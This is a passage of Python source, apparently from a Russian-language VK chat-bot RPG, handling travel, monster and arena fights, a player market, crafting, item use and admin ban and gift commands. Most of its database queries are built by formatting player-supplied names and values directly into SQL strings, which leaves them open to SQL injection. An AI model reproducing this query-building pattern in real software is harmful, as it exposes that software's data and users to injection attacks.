self.core.location._list['player']['level']:\r\n\t\t\t\t\t\t\tif data['hp'] >= 5:\r\n\t\t\t\t\t\t\t\tself.core.query.save(\"INSERT INTO `arena` (username,rating,level) VALUES (%s,%r,%r)\"%(user_id, data['rating'], data['level']))\r\n\t\t\t\t\t\t\telse: raise Exception(\"Вы ранены и не можете принять участия на арене!\")\r\n\t\t\t\t\t\telse: raise Exception(\"Требуется %r уровень!\"%self.core.location._list['player']['level'])\r\n\t\t\t\t\telif find in self.core.location._list['map']['commands']: # отправление в поход:\r\n\t\t\t\t\t\tif data['level'] >= Travel[arr[find]]['level']:\r\n\t\t\t\t\t\t\tif data['energy'] >= Travel[arr[find]]['energy']:\r\n\t\t\t\t\t\t\t\tadd = \"\"\r\n\t\t\t\t\t\t\t\tif Travel[arr[find]]['need'] is not None:\r\n\t\t\t\t\t\t\t\t\tfor item in Travel[arr[find]]['need']:\r\n\t\t\t\t\t\t\t\t\t\tif item in data['inv']:\r\n\t\t\t\t\t\t\t\t\t\t\tif data['inv'][item]['count'] >= Travel[arr[find]]['need'][item]:\r\n\t\t\t\t\t\t\t\t\t\t\t\tdata['inv'][item]['count'] -= 1\r\n\t\t\t\t\t\t\t\t\t\t\t\tadd += \",`inv`='%s'\"%json.dumps(data['inv'])\r\n\t\t\t\t\t\t\t\t\t\tif add == \"\": raise Exception(\"Вам нужен %s %s!\"%(item, self.core.item(item)['icon']))\r\n\t\t\t\t\t\t\t\tdata['location'] |= assoc[arr[find]]\r\n\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `is_travel`=%r,`energy`=%r,`location`=%r%s WHERE `username`=%s\"%(time.time() + Travel[arr[find]]['time'] * (1 - .5 * int('лошадь' in data['upgrade'])), data['energy'] - Travel[arr[find]]['energy'], data['location'], add, user_id))\r\n\t\t\t\t\t\t\t\tis_update, is_keyboard, dialogs = 0, 0, self.core.find(name=find + '_', folder='start')\r\n\t\t\t\t\t\t\t\tif len(dialogs): text = self.core.read(dialogs[random.randint(0, len(dialogs) - 1)])\r\n\t\t\t\t\t\t\t\telse: text = \"Вы отправились в %s %s!\"\r\n\t\t\t\t\t\t\t\ttext = text%(Travel[arr[find]]['icon'], Travel[arr[find]]['name']) + \"\\nВозвращение через %s: %s\"%(icons['time'], self.core.time(time.time() + Travel[arr[find]]['time'] * (1 - .5 * int('лошадь' in data['upgrade']))))\r\n\t\t\t\t\t\t\telse: raise Exception(\"Недостаточно %s энергии!\"%icons['energy'])\r\n\t\t\t\t\t\telse: raise Exception(\"Вам нужен %r уровень!\"%Travel[arr[find]]['level'])\r\n\t\t\t\t\telif find in ['атака', 'защита']: # сражения:\r\n\t\t\t\t\t\tif not ('type' in data['enemy']):\r\n\t\t\t\t\t\t\tis_update, is_keyboard, enemy = 0, 0, self.core.enemy(self.core.world.one(\"SELECT * FROM `enemy` WHERE `name`='%s'\"%data['enemy']['name']))\r\n\t\t\t\t\t\t\tif enemy is not None:\r\n\t\t\t\t\t\t\t\tarr, c_armor = [], (self.core.stats(data=data['armor']))\r\n\t\t\t\t\t\t\t\tchange, weapon = self.change((enemy['damage_change'] + c_armor[0]) * (find == 'атака') + (enemy['leave_change'] + c_armor[1]) * (find == 'защита')), None\r\n\t\t\t\t\t\t\t\tif change:\r\n\t\t\t\t\t\t\t\t\tif find == 'атака': self.quest(value=enemy['name'], data=data, user_id=user_id, save=True)\r\n\t\t\t\t\t\t\t\t\tfor key in enemy['price']:\r\n\t\t\t\t\t\t\t\t\t\tif key in ['coins', 'xp']:\r\n\t\t\t\t\t\t\t\t\t\t\tdata[key] += enemy['price'][key]\r\n\t\t\t\t\t\t\t\t\t\t\tarr.append(\"+%r %s\"%(enemy['price'][key], icons[key]))\r\n\t\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\t\tif find == 'атака':\r\n\t\t\t\t\t\t\t\t\t\t\t\titem = self.core.item(key)\r\n\t\t\t\t\t\t\t\t\t\t\t\tif item is not None:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tdata['inv'] = self.core.add_inv(inv=data['inv'], item=key, count=enemy['price'][key])\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tself.quest(value=key, data=data, user_id=user_id, save=True)\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tarr.append(\"%r шт. %s %s\"%(enemy['price'][key], item['icon'], key))\r\n\t\t\t\t\t\t\t\tif 'weapon' in data['armor']: weapon = data['armor']['weapon'] + '_'\r\n\t\t\t\t\t\t\t\tdialogs = self.core.find(name=weapon, folder=['lose', 'win'][change])\r\n\t\t\t\t\t\t\t\tif len(dialogs): text = self.core.read(dialogs[random.randint(0, len(dialogs) - 1)])%(enemy['icon'], enemy['name'])\r\n\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\tif find == 'атака':\r\n\t\t\t\t\t\t\t\t\t\tif change: text = \"Вы победили %s %s!\"%(enemy['icon'], enemy['name'])\r\n\t\t\t\t\t\t\t\t\t\telse: text = \"%s %s Набросился на вас!\\n%r/5 %s\"%(enemy['icon'], enemy['name'], data['hp'] - 1, icons['health'])\r\n\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\tif change: text = \"Вы сбежали от %s %s!\"%(enemy['icon'], enemy['name'])\r\n\t\t\t\t\t\t\t\t\t\telse: text = \"Вы не смогли сбежать от %s %s!\\n%r/5 %s\"%(enemy['icon'], enemy['name'], data['hp'] - 1, icons['health'])\r\n\t\t\t\t\t\t\t\tif change: text += \"\\nНаграда: %s\"%(', '.join(arr))\r\n\t\t\t\t\t\t\t\telse: data['hp'] -= 1\r\n\t\t\t\t\t\t\t\tif data['hp'] > 0:\r\n\t\t\t\t\t\t\t\t\tdata['location'] &=~ assoc['fight']\r\n\t\t\t\t\t\t\t\t\ttext += \"\\n\\nОсталось %s: %s\"%(icons['time'], self.core.time(time.time() + data['is_travel']))\r\n\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `coins`=%r,`xp`=%r,`inv`='%s',`enemy`='{}',`location`=%r,`hp`=%r,`is_travel`=%r WHERE `username`=%s\"%(data['coins'], data['xp'], json.dumps(data['inv']), data['location'], data['hp'], time.time() + data['is_travel'], user_id))\r\n\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\tdata['location'] = 0\r\n\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `location`=%r, `hp`=%r,`messages`=%r,`is_travel`=0,`enemy`='{}' WHERE `username`=%s\"%(data['location'], data['hp'], time.time() + 3600, user_id))\r\n\t\t\t\t\t\t\t\t\traise Exception(\"Вы были сильно ранены!\\nВас отнесли обратно в лагерь.\\n\\n(назад)\")\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tif find == 'атака': data['location'] |= assoc['attack']\r\n\t\t\t\t\t\t\tif find == 'защита': data['location'] |= assoc['shield']\r\n\t\t\t\t\telif find == 'да': # соглашение:\r\n\t\t\t\t\t\tdata['location'] &=~ assoc['dialog'];\r\n\t\t\t\t\t\tif (data['location'] & assoc['traid']) and not (data['location'] & assoc['character']): # покупка/возврат предмета:\r\n\t\t\t\t\t\t\tslot = self.core.query.one(\"SELECT * FROM `traid` LIMIT 1 OFFSET %r\"%(data['messages'] - 1))\r\n\t\t\t\t\t\t\tc_item = json.loads(slot[2])\r\n\t\t\t\t\t\t\titem = self.core.item(c_item['name'])\r\n\t\t\t\t\t\t\tif slot[0] != str(user_id):\r\n\t\t\t\t\t\t\t\tdata['coins'] -= slot[3]\r\n\t\t\t\t\t\t\t\tself.core.tax(math.floor(slot[3] * .05))\r\n\t\t\t\t\t\t\t\tnew_price = math.floor(slot[3] - slot[3] * .05)\r\n\t\t\t\t\t\t\t\tprofile = self.core.query.one(\"SELECT `coins` FROM `users` WHERE `username`=%s\"%slot[0])\r\n\t\t\t\t\t\t\t\tself.core.send(user_id=slot[0], message=\"%s купил у вас %r %s %s за %s %s!\"%(data['vk_name'], c_item['count'], item['icon'], item['name'], self.core.translate.number(new_price), icons['coins']))\r\n\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `coins`=%r WHERE `username`=%s\"%(profile[0] + new_price, slot[0]))\r\n\t\t\t\t\t\t\tdata['inv'] = self.core.add_inv(inv=data['inv'], item=c_item['name'], count=c_item['count'])\r\n\t\t\t\t\t\t\tcommands.append(\"DELETE FROM `traid` LIMIT 1 OFFSET %r\"%(data['messages'] - 1))\r\n\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `inv`='%s',`coins`=%r WHERE `username`=%s\"%(json.dumps(data['inv']), data['coins'], user_id))\r\n\t\t\t\t\t\t\tself.core.gui.add_print(text=\"%s купил %r шт. %s за %r\"%(data['vk_name'], c_item['count'], item['name'], slot[3]), name=data['vk_name'])\r\n\t\t\t\t\t\t\traise Exception(\"Вы %s %r шт. %s %s за %s %s!\"%(['вернули', 'купили'][slot[0] != str(user_id)], c_item['count'], item['icon'], item['name'], self.core.translate.number(slot[3]), icons['coins']))\r\n\t\t\t\t\t\telse: # смена ника и сражения:\r\n\t\t\t\t\t\t\tif data['location'] & assoc['player']:\r\n\t\t\t\t\t\t\t\tdata['location'] |= assoc['fight']\r\n\t\t\t\t\t\t\t\tdata['enemy'], data['messages'] = {\r\n\t\t\t\t\t\t\t\t\t'type': 'player',\r\n\t\t\t\t\t\t\t\t\t'check': 0\r\n\t\t\t\t\t\t\t\t}, time.time() + 180\r\n\t\t\t\t\t\t\t\tarena_user = self.core.player(self.core.query.one(\"SELECT * FROM `users` WHERE `username`=%s\"%data['is_arena']['username']))\r\n\t\t\t\t\t\t\t\tif arena_user is not None:\r\n\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `enemy`='%s',`messages`=%r WHERE `username`=%s\"%(json.dumps(data['enemy']), data['messages'], user_id))\r\n\t\t\t\t\t\t\t\t\tif 'check' in arena_user['enemy']:\r\n\t\t\t\t\t\t\t\t\t\tself.clear()\r\n\t\t\t\t\t\t\t\t\t\tval = self.local.fight(arena_user)\r\n\t\t\t\t\t\t\t\t\t\tself.core.location._list['fight']['keyboard'], self.core.location._list['fight']['commands'] = val[1], val[2]\r\n\t\t\t\t\t\t\t\t\t\tself.core.send(user_id=data['is_arena']['username'], message=\"Бой начался!\\n%s\"%val[0], keyboard=self.core.location.keyboard('fight').get_keyboard())\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\tif data['coins'] >= 100: data['location'] |= assoc['nickname']\r\n\t\t\t\t\t\t\t\telse: raise Exception(\"Вам требуется 100 %s!\"%icons['coins'])\r\n\t\t\t\t\telif find == 'нет': # отказ:\r\n\t\t\t\t\t\tdata['location'] &=~ assoc['dialog'];\r\n\t\t\t\t\t\tif data['location'] & assoc['player']:\r\n\t\t\t\t\t\t\ttext, is_update, is_keyboard = \"Вы вернулись в очередь!\", 0, 0\r\n\t\t\t\t\t\t\tself.core.send(user_id=data['is_arena']['username'], message=\"Игрок отказался сражаться!\\nВы возвращаетесь в очередь!\")\r\n\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `is_arena`='{}',`location`=%r,`enemy`='{}' WHERE `username`=%s\"%(data['location'], user_id))\r\n\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `is_arena`='{}',`location`=%r,`enemy`='{}' WHERE `username`=%s\"%(data['location'], data['is_arena']['username']))\r\n\t\t\t\t\t\t\tcommands.append(\"INSERT INTO `arena` (username,rating,level) VALUES (%s,%r,%r)\"%(data['is_arena']['username'], 0, 0))\r\n\t\t\t\t\t\t\tcommands.append(\"INSERT INTO `arena` (username,rating,level) VALUES (%s,%r,%r)\"%(user_id, 0, 0))\r\n\t\t\t\t\telif find in ['купить', 'продать', 'использовать', 'создать', 'страница']:\t\r\n\t\t\t\t\t\tobj = self.core.translate.text(command);\r\n\t\t\t\t\t\tif obj is not None:\r\n\t\t\t\t\t\t\tif find == 'купить': # покупка:\r\n\t\t\t\t\t\t\t\tif obj['count'] in range(1, self.core.query.one(\"SELECT COUNT(*) FROM `traid`\")[0] + 1):\r\n\t\t\t\t\t\t\t\t\tslot = self.core.query.one(\"SELECT * FROM `traid` LIMIT 1 OFFSET %r\"%(obj['count'] - 1))\r\n\t\t\t\t\t\t\t\t\tif slot is not None:\r\n\t\t\t\t\t\t\t\t\t\tif (data['coins'] >= slot[3]) or (str(user_id) == slot[0]):\r\n\t\t\t\t\t\t\t\t\t\t\tdata['location'] |= assoc['dialog']\r\n\t\t\t\t\t\t\t\t\t\t\tdata['messages'] = obj['count']\r\n\t\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `messages`=%r WHERE `username`=%s\"%(data['messages'], user_id))\r\n\t\t\t\t\t\t\t\t\t\telse: raise Exception(\"У вас недостаточно монет %s!\"%icons['coins'])\r\n\t\t\t\t\t\t\t\t\telse: raise Exception(\"Такого слота не существует!\")\r\n\t\t\t\t\t\t\t\telse: raise Exception(\"Такого слота не существует!\")\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\titem = self.core.item(obj['item'])\r\n\t\t\t\t\t\t\t\tif item is not None:\t\r\n\t\t\t\t\t\t\t\t\tif find == 'создать': # создание предмета:\r\n\t\t\t\t\t\t\t\t\t\tif 'need' in item:\r\n\t\t\t\t\t\t\t\t\t\t\tinv = self.core.craft(inv=data['inv'], item=item)\r\n\t\t\t\t\t\t\t\t\t\t\tif inv is not None:\r\n\t\t\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `inv`='%s' WHERE `username`=%s\"%(json.dumps(inv), user_id))\r\n\t\t\t\t\t\t\t\t\t\t\t\tself.quest(value=item['name'], data=data, user_id=user_id, save=True)\r\n\t\t\t\t\t\t\t\t\t\t\t\traise Exception(\"Вы создали %s %s!\"%(item['icon'], item['name']))\r\n\t\t\t\t\t\t\t\t\t\t\telse: raise Exception(\"Недостаточно ресурсов!\")\r\n\t\t\t\t\t\t\t\t\t\telse: raise Exception(\"Этот предмет невозможно создать!\")\r\n\t\t\t\t\t\t\t\t\telif find == 'продать': # продажа предметов:\r\n\t\t\t\t\t\t\t\t\t\tif item['name'] in data['inv']:\r\n\t\t\t\t\t\t\t\t\t\t\tif data['inv'][item['name']] >= obj['count']:\r\n\t\t\t\t\t\t\t\t\t\t\t\tdata['inv'][item['name']] -= obj['count']\r\n\t\t\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `inv`='%s' WHERE `username`=%s\"%(json.dumps(data['inv']), user_id))\r\n\t\t\t\t\t\t\t\t\t\t\t\tcommands.append(\"INSERT INTO `traid` (username, vk_name, item, buy) VALUES (%s, '%s', '%s', %r)\"%(user_id, data['vk_name'], json.dumps({'name': item['name'], 'count': obj['count']}), obj['price']))\r\n\t\t\t\t\t\t\t\t\t\t\t\tself.quest(value='sell', data=data, user_id=user_id, save=True)\r\n\t\t\t\t\t\t\t\t\t\t\t\tself.core.gui.add_print(text=\"%s продал %r шт. %s за %r\"%(data['vk_name'], obj['count'], item['name'], obj['price']), name=data['vk_name'])\r\n\t\t\t\t\t\t\t\t\t\t\t\traise Exception(\"Вы продали %r шт. %s %s за %r %s!\"%(obj['count'], item['icon'], item['name'], obj['price'], icons['coins']))\r\n\t\t\t\t\t\t\t\t\t\t\telse: raise Exception(\"Недостаточно ресурсов!\")\r\n\t\t\t\t\t\t\t\t\t\telse: raise Exception(\"У вас нет %s %s!\"%(item['icon'], item['name']))\r\n\t\t\t\t\t\t\t\t\telif find == 'использовать': # использование предмета:\r\n\t\t\t\t\t\t\t\t\t\tif item['name'] in data['inv']:\r\n\t\t\t\t\t\t\t\t\t\t\tif data['inv'][item['name']] > 0:\r\n\t\t\t\t\t\t\t\t\t\t\t\tif 'type' in item:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tdata['inv'][item['name']] -= 1\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tif item['type'] == 'upgrade': # улучшения:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif item['name'] in data['upgrade']: raise Exception(\"У вас уже установлен %s %s!\"%(item['icon'], item['name']))\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tdata['upgrade'].append(item['name'])\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `upgrade`='%s',`inv`='%s' WHERE `username`=%s\"%(json.dumps(data['upgrade']), json.dumps(data['inv']), user_id))\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\traise Exception(\"%s %s установлен!\"%(item['icon'], item['name']))\r\n\t\t\t\t\t\t\t\t\t\t\t\t\telif item['type'] == 'lootbox': # коробки:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tarr = []\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tfor row in item['need']:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif row != 'coins':\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tc_item = self.core.item(row)\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif c_item is not None: \r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdata['inv'] = self.core.add_inv(inv=data['inv'], item=c_item['name'], count=item['need'][row])\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarr.append(\"%r шт. %s %s\"%(item['need'][row], c_item['icon'], c_item['name']))\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdata[row] += item['need'][row]\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarr.append(\"+%r %s\"%(item['need'][row], icons['coins']))\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `inv`='%s',`coins`=%r WHERE `username`=%s\"%(json.dumps(data['inv']), data['coins'], user_id))\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\traise Exception(\"Вы открыли %s %s!\\nНаграда: %s\"%(item['icon'], item['name'], ', '.join(arr)))\r\n\t\t\t\t\t\t\t\t\t\t\t\t\telif item['type'] in ['weapon', 'head', 'body']: # экипировка:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif item['type'] in data['armor']: data['inv'] = self.core.add_inv(inv=data['inv'], item=data['armor'][item['type']])\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tdata['armor'][item['type']] = item['name']\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `inv`='%s',`armor`='%s' WHERE `username`=%s\"%(json.dumps(data['inv']), json.dumps(data['armor']), user_id))\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\traise Exception(\"Вы взяли %s %s!\"%(item['icon'], item['name']))\r\n\t\t\t\t\t\t\t\t\t\t\t\t\telif item['type'] == 'health': # зелья:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tdata['hp'] = min(data['hp'] + item['effect'], 5)\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `inv`='{0}',`hp`={1} WHERE `username`={2}\".format(json.dumps(data['inv']), data['hp'], user_id))\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\traise Exception(\"Вы использовали %s %s!\\n+%r %s здоровье! %r/5 %s\"%(item['icon'], item['name'], item['effect'], icons['health'], data['hp'], icons['health']))\r\n\t\t\t\t\t\t\t\t\t\t\t\telse: raise Exception(\"Этот предмет нельзя использовать!\")\r\n\t\t\t\t\t\t\t\t\t\t\telse: raise Exception(\"Недостаточно ресурсов!\")\r\n\t\t\t\t\t\t\t\t\t\telse: raise Exception(\"У вас нет %s %s!\"%(item['icon'], item['name']))\t\r\n\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\tif find == 'страница': # переход по страницам:\r\n\t\t\t\t\t\t\t\t\t\tpage, is_update = max(obj['count'] - 1, 0), 0\r\n\t\t\t\t\t\t\t\t\t\tif data['location'] == assoc['traid']:\r\n\t\t\t\t\t\t\t\t\t\t\tif page < math.ceil(self.core.query.one(\"SELECT COUNT(*) FROM `traid`\")[0] / 5): text, keyboard = self.local.traid(page=page * 5, user_id=user_id), self.core.location.keyboard('traid')\r\n\t\t\t\t\t\t\t\t\t\t\telse: raise Exception(\"Страница не существует!\")\r\n\t\t\t\t\t\t\t\t\t\telif data['location'] & assoc['craft']: text, keyboard = self.local.craft(page=page * 5, inv=data['inv']), self.core.location.keyboard('craft')\r\n\t\t\t\t\t\t\t\t\telse: raise Exception(\"Предмета %s не существует!\"%obj['item'])\r\n\t\t\t\t\telif find in admin:\r\n\t\t\t\t\t\tobj = self.core.translate.text(command)\r\n\t\t\t\t\t\tif obj is not None:\r\n\t\t\t\t\t\t\tif self.core.check.admin(user_id):\r\n\t\t\t\t\t\t\t\tif find == '!забанить': # user blocked:\r\n\t\t\t\t\t\t\t\t\tuser = self.core.player(self.core.query.one(\"SELECT * FROM `users` WHERE `vk_name`='%s'\"%obj['item']))\r\n\t\t\t\t\t\t\t\t\tif user is not None:\r\n\t\t\t\t\t\t\t\t\t\ttext, is_update, is_keyboard = \"Игрок %s заблокирован!\\nПричина:%s\"%(obj['item'], obj['price']), 0, 0\r\n\t\t\t\t\t\t\t\t\t\tself.core.send(user_id=user['id'], message=\"Вы были заблокированы!\\nПричина: %s\"%obj['price'])\r\n\t\t\t\t\t\t\t\t\t\tself.core.query.save(\"UPDATE `users` SET `hp`=5,`location`=0,`energy`=5,`enemy`='{}',`is_travel`=0,`messages`=0 WHERE `vk_name`='%s'\"%user['id'])\r\n\t\t\t\t\t\t\t\t\t\tif self.core.query.one(\"SELECT * FROM `tavern` WHERE `username`=%s\"%user['id']):\r\n\t\t\t\t\t\t\t\t\t\t\tself.core.query.save(\"DELETE FROM `tavern` WHERE `username`=%s\"%user['id'])\r\n\t\t\t\t\t\t\t\t\t\t\tself.core.send_all(message=\"%s был выгнан из таверны!\"%obj['item'], user_id=user_id)\r\n\t\t\t\t\t\t\t\t\t\tself.core.session.groups.ban(group_id=self.core.group_id, owner_id=user['id'], comment=obj['price'])\r\n\t\t\t\t\t\t\t\t\telse: raise Exception(\"Игрока %s не существует!\"%obj['item'])\r\n\t\t\t\t\t\t\t\telif find == '!отправить': # отправка предметов игрокам:\r\n\t\t\t\t\t\t\t\t\tuser = self.core.query.one(\"SELECT `inv`,`username` FROM `users` WHERE `vk_name`='%s'\"%obj['price'])\r\n\t\t\t\t\t\t\t\t\tif user is not None:\r\n\t\t\t\t\t\t\t\t\t\tinv, item = json.loads(user[0]), self.core.item(obj['item'])\r\n\t\t\t\t\t\t\t\t\t\tif item is not None:\r\n\t\t\t\t\t\t\t\t\t\t\tif item['name'] in inv: inv[item['name']]['count'] += obj['count']\r\n\t\t\t\t\t\t\t\t\t\t\telse: inv[item['name']] = {'name': item['name'], 'count': obj['count']}\r\n\t\t\t\t\t\t\t\t\t\t\tself.core.send(user_id=user[1], message=\"📦 Посылка: %r шт %s %s!\"%(obj['count'], item['icon'], item['name']))\r\n\t\t\t\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `inv`='%s' WHERE `username`=%s\"%(json.dumps(inv), user[1]))\r\n\t\t\t\t\t\t\t\t\t\t\traise Exception(\"Вы отправили игроку %s: %r %s %s!\"%(obj['price'], obj['count'], item['icon'], item['name']))\r\n\t\t\t\t\t\t\t\t\t\telse: raise Exception(\"Предмета %s не существует!\"%obj['item'])\r\n\t\t\t\t\t\t\t\t\telse: raise Exception(\"Игрока %s не существует!\"%obj['price'])\r\n\t\t\t\t\t\telif find == '!инфо': text, is_keyboard, is_update = \"Версия: 1.0\\nАвтор: @mgcat(Magic Cat)\", 0, 0\r\n\t\t\t\t\telif find in ['голова', 'тело', 'ноги']: # pvp:\r\n\t\t\t\t\t\tis_update, is_keyboard = 0, 0\r\n\t\t\t\t\t\tif not data['enemy']['check']:\r\n\t\t\t\t\t\t\tattack_assoc, arena_user = {1: 'голова', 2: 'тело', 3: 'ноги'}, self.core.player(self.core.query.one(\"SELECT * FROM `users` WHERE `username`=%s\"%data['is_arena']['username']))\r\n\t\t\t\t\t\t\tif arena_user is not None:\r\n\t\t\t\t\t\t\t\tif data['location'] & assoc['attack']: data['enemy']['check'] = assoc['attack']\r\n\t\t\t\t\t\t\t\tif data['location'] & assoc['shield']: data['enemy']['check'] = assoc['shield']\r\n\t\t\t\t\t\t\t\tdata['location'] &=~ data['enemy']['check']\r\n\t\t\t\t\t\t\t\tdata['enemy']['check'] += (find == 'голова') + 2 * (find == 'тело') + 3 * (find == 'ноги')\r\n\t\t\t\t\t\t\t\tcommands.append(\"UPDATE `users` SET `enemy`='%s',`messages`=%r WHERE `username`=%s\"%(json.dumps(data['enemy']), time.time() + 180, user_id))\r\n\t\t\t\t\t\t\t\tif arena_user['enemy']['check']: # просчет хода:\r\n\t\t\t\t\t\t\t\t\tvalue, arena_value, arena_text = data['enemy']['check'], arena_user['enemy']['check'], ''\r\n\t\t\t\t\t\t\t\t\tif value & assoc['attack']:\r\n\t\t\t\t\t\t\t\t\t\tvalue -= assoc['attack']\r\n\t\t\t\t\t\t\t\t\t\tif arena_value & assoc['attack']:\r\n\t\t\t\t\t\t\t\t\t\t\tarena_value -= assoc['attack']\r\n\t\t\t\t\t\t\t\t\t\t\tif value != arena_value:\r\n\t\t\t\t\t\t\t\t\t\t\t\tc_text = \"%s ударил по %s! -2 %s\"\r\n\t\t\t\t\t\t\t\t\t\t\t\ttext, arena_text = c_text%(arena_user['vk_name'], attack_assoc[arena_value], icons['health']), c_text%(data['vk_name'], attack_assoc[value], icons['health'])\r\n\t\t\t\t\t\t\t\t\t\t\t\tdata['hp'] -= 2\r\n\t\t\t\t\t\t\t\t\t\t\t\tarena_user['hp'] -= 2\r\n\t\t\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\t\t\tc_text = \"Вы смягчили удар по себе! -1 %s\"%icons['health']\r\n\t\t\t\t\t\t\t\t\t\t\t\ttext, arena_text = c_text, c_text \r\n\t\t\t\t\t\t\t\t\t\t\t\tdata['hp'] -= 1\r\n\t\t\t\t\t\t\t\t\t\t\t\tarena_user['hp'] -= 1\r\n\t\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\t\tarena_value -= assoc['shield']\r\n\t\t\t\t\t\t\t\t\t\t\tif value != arena_value:\r\n\t\t\t\t\t\t\t\t\t\t\t\ttext, arena_text = \"Вы нанесли удар!\", \"%s ударил по %s! -1 %s\"%(data['vk_name'], attack_assoc[value], icons['health'])\r\n\t\t\t\t\t\t\t\t\t\t\t\tarena_user['hp'] -= 2\r\n\t\t\t\t\t\t\t\t\t\t\telse: text, arena_text = \"Вы не смогли пробить щит!\", \"Вы защитились от удара!\"\r\n\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\tif arena_value & assoc['attack']:\r\n\t\t\t\t\t\t\t\t\t\t\tvalue -= assoc['shield']\r\n\t\t\t\t\t\t\t\t\t\t\tarena_value -= assoc['attack']\r\n\t\t\t\t\t\t\t\t\t\t\tif arena_value != value:\r\n\t\t\t\t\t\t\t\t\t\t\t\ttext = \"%s ударил по %s! -2 %s\"%(arena_user['vk_name'], attack_assoc[arena_value], icons['health'])\r\n\t\t\t\t\t\t\t\t\t\t\t\tarena_text = \"Вы нанесли удар!\"\r\n\t\t\t\t\t\t\t\t\t\t\t\tdata['hp'] -= 2\r\n\t\t\t\t\t\t\t\t\t\t\telse: text, arena_text = \"Вы защитились от удара!\", \"Вы не смогли пробить щит!\"\r\n\t\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\t\ttext = \"Вы стоите перед друг-другом и не можете понять что происходит?\"\r\n\t\t\t\t\t\t\t\t\t\t\tarena_text = text\r\n\t\t\t\t\t\t\t\t\tif data['location'] & assoc['attack']: data['location'] &=~ assoc['attack']\r\n\t\t\t\t\t\t\t\t\tif data['location'] & assoc['shield']: data['location'] &=~ assoc['shield']\r\n\t\t\t\t\t\t\t\t\tif data['hp'] <= 0 or arena_user['hp'] <= 0: # итог сражения:\r\n\t\t\t\t\t\t\t\t\t\tself.quest(value='arena', data=data, user_id=user_id, save=True)\r\n\t\t\t\t\t\t\t\t\t\tself.quest(value='arena', data=arena_user, user_id=data['is_arena']['username'], save=True)\r\n\t\t\t\t\t\t\t\t\t\tif data['hp'] <= 0 and arena_user['hp'] <= 0:\r\n\t\t\t\t\t\t\t\t\t\t\ttext = \"Ничья! +1 %s, +5 %s\\n(назад)\"%(icons['rating'], icons['coins'])\r\n\t\t\t\t\t\t\t\t\t\t\tarena_text = text\r\n\t\t\t\t\t\t\t\t\t\t\tdata['rating'] += 1\r\n\t\t\t\t\t\t\t\t\t\t\tdata['coins'] += 5\r\n\t\t\t\t\t\t\t\t\t\t\tarena_user['rating'] += 1\r\n\t\t\t\t\t\t\t\t\t\t\tarena_user['coins'] += 5\r\n\t\t\t\t\t\t\t\t\t\t\tself.core.tax(10)\r\n\t\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\t\ttext = \"Вы проиграли: -2 %s!\"%icons['rating']\r\n\t\t\t\t\t\t\t\t\t\t\tarena_text = \"Победа: +2 %s!\\nНаграда: +10 %s\"%(icons['rating'], icons['coins'])\r\n\t\t\t\t\t\t\t\t\t\t\tif data['hp'] <= 0: # проигрышь:\r\n\t\t\t\t\t\t\t\t\t\t\t\tdata['rating'] = max(data['rating'] - 2, 0)\r\n\t\t\t\t\t\t\t\t\t\t\t\tarena_user['rating'] += 